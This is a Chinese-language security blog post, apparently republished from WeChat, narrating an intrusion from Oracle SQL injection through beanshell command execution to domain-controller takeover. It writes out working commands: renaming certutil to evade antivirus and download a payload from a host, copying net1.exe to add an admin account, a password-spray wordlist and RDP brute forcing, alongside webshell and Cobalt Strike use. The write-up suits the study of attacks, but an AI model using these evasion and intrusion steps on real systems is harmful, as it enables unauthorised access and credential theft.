攻防实战:从SQL注入到内网漫游
2024-6-14 11:44:1 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系洪椒攻防实验室公众号。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x00 前言

    在某个平平无奇的下午,办公室吹着空调喝着同事请的大桶果茶,美美的感受下午茶的美好。

    同事的一个消息打破了这个宁静的下午。

    一个非常明显的Oracle的注入,第一想法肯定是注账号密码,话不多说,玩的就是真实,开干!!

0x01 进入正题

    同事说当前数据库有900张表,我先按照常规操作先跑一下表名,看用户名表会不会跑出来,花了四五分钟跑了大概50张表,有三个user表,其中一个成功跑出来md5加密的密码,我心想这么简单,这不是有手就行?你们没跑出来?    cmd5一解密我发现事情并不简单,因为密码是1,很明显不是真实密码(这里不得不说一句cmd5是YYDS,somd5连1都解不出来):

    在跑到100张表的时候,我感觉不对劲了,难不成真有900张表?我跑一天也跑不出来啊?这时候想到了一个简单的办法,既然我们要找用户表,总有密码字段吧?

    直接利用sqlmap的--sql-shell 功能查询所有包含PASSWORD字段的表名就好了(原谅大学学的SQL全还给老师了,直接问GPT)。

    得到命令:

SELECT table_name FROM dba_tab_columns WHERE owner = 'DB1' AND column_name = 'PASSWORD'  ORDER BY table_name;

    成功查询到所有包含密码字段的表,找到了用户表跑出了一部分用户的密码:

    用户太多了,没有跑出全部的,但是这时候已经可以用跑出来的部分账号密码登陆系统,但是发现功能点比较少,文件上传也是使用的php的fckeditor,无法绕过上传:

    但是查询通讯录知道了一个管理员用户是root和对应的邮箱,并非常规的[email protected]

    使用sqlmap的--sql-shell功能直接查询DB1库中的[email protected]得到密码:

    登陆管理员账号后发现系统功能里面有个系统命令功能可以使用beanshell执行系统命令。:

    眼熟.jpg,这跟用友NC太像了。

    至此已经拿下该服务器,下一步就是进入内网后渗透了。

0x02 踩坑

坑1

    在这个beanshell执行系统命令的时候,刚开始遇到了一些坑,跟用友NC bsh.servlet.BshServlet的远程代码执行一样的坑,执行一些命令时经常会报错。执行 whoami 正常:

    dir、chdir等等都会报错,导致想看其他目录时都会报错。

    但是通过调用系统本地cmd.exe进行命令执行就不会报错了:

坑2

    在查看其他目录、文件含路径的时候,单斜杠无法解析,需要\才能成功获取对应的文件。cmd.exe /c dir e:\xxx\dddd\bin报错

cmd.exe /c dir e:\\portal\\portal422\\bin正常输出

坑3

    sql注入的时候已经知道了系统是Windows2008server和有火绒。到这其实就可以使用echo蚁剑马或者是certutil直接远程下载cs上线,certutil下载文件会被拦截,使用以下命令即可绕过限制进行文件下载:

copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f  http://192.168.xx.xx:7000/gdut.txt

    下载哥斯拉马成功连接webshell,因为是2008的系统,直接抓明文密码,但是因为有火绒,无法直接抓。

    前面已经知道了administrator权限,还是利用copy的方法进行绕过火绒添加用户:

copy c:\windows\system32\net1.exe  aaa.txt
aaa.txt user admin Aa123456@@@ /add

    开启本地代理直接远程上去把火绒退掉。

    再上线cs抓密码就可以了。

0x03 内网遨游

    这时候已经拿到管理员的密码,以及知晓密码规则,直接简单构造密码字典对内网进行密码喷洒

domain@2019
domain@2020
domain@2021
domain@2022
domain@2023
domain@,2023
domain@,2022
domain@,2021
domain@,2020

    ................................ 好家伙,直接喷出来十多台服务器:

    然后就是一堆常规操作,登服务器、翻浏览器、配置文件等等。 

    在所有东西翻完的时候,使用fscan不加参数全部梭哈的时候,惊喜的发现NetBios识别到了192.168.x.1/24 段有域,但是这个段梭3389的时候没有梭出来成功的。

    这时候我对192.168.x.1/24 单独进行了一次-m rdp -pwdf pwd.txt 果然梭出来了一台服务器的3389,并且是在域内的,最惊喜的这台服务器居然是Windows2008(你们懂的),成功上线cs

    运行nslookup target.com得到了域控地址。这时候,经常打域的师傅们都知道,只要有一台机器在域内,这个域离拿下就成功一半了,直接查询RDP历史登陆凭据。

    很惊喜的发现这台机器中保存了一个历史凭据,嘿嘿,会不会是域控的?

    果然是域控的密码,直接远程3389上去:

    至此整个单位全部拿下,直接出局。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

0x04 总结

    整个攻击过程总体来说不算太难,但是比较考验细心,一环扣一环,还算比较的顺利,完美拿下域控。


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247494962&idx=1&sn=263ab89928d41f8f6e3d791b27d87c93&chksm=e8a5e751dfd26e47598c9a0fc5ef82be5585a8ef7418d49f8d5c525b0b6476569da7d871a152&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh